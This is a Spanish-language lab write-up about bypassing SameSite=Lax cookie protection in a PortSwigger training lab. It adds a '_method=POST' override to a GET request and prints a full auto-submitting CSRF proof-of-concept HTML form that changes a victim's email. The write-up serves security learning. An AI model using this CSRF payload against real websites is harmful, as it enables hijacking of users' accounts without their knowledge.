SameSite Lax bypass via method override writeup

Descripción

This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.

You can log in to your own account using the following credentials: wiener:peter

SameSite Lax bypass via method override writeup

Entraremos en el laboratorio. Iremos a ‘My account’ e iniciaremos sesión con el usuario ‘wiener’ y la contraseña ‘peter’. Al cambiar el correo electrónico interceptaremos la petición con el ‘Logger’ de Burp Suite:

Llevaremos esta petición al Repeater con Ctrl + I o Click derecho -> Send to Repeater. Allí veremos que podemos cambiar el valor de email y que se reflejará en la página el cambio.

En este caso no tenemos token CSRF, debido a que se usa el token de sesión para cumplir su función. Tampoco se indica el valor del atributo ‘SameSite’, así que se queda el valor por defecto ‘Lax’.

Entonces, podemos aprovechar este fallo de configuración para falsificar una petición que cambie el correo de la víctima. Para ello debemos de cumplir 2 puntos:

Crearemos un PoC que cumpla estos dos requisitos.

El primer problema que se nos presenta es que la aplicación no permite usar GET para cambiar el correo. Nos devuelve un error 405 (Method not allowed).

Esto podemos solventarlo añadiendo a la URL ‘&_method=POST’. Así el navegador creerá que se está usando un método GET (enviará la cookie de sesión), pero la aplicación web entenderá que se está usando POST.

Pulsaremos Click derecho en la zona de ‘Request’ e iremos a Engagement tools -> Generate CSRF PoC. Allí realizaremos los siguientes cambios:

  1. Añadiremos a la etiqueta ‘form’ el atributo ‘method’ con el valor ‘GET’.
  2. Añadiremos un nuevo campo oculto llamado ‘_method’ con el valor ‘POST’.
  3. Cambiaremos el valor del correo por uno que no esté en uso
 <html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a7100fd0455a6dee51d166e002c00ce.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="test&#64;cyberhub&#46;es" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Al ir a ‘Go to exploit server’, pegar el código en el ‘Body’ y pulsar ‘Deliver exploit to victim’ habremos completado el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *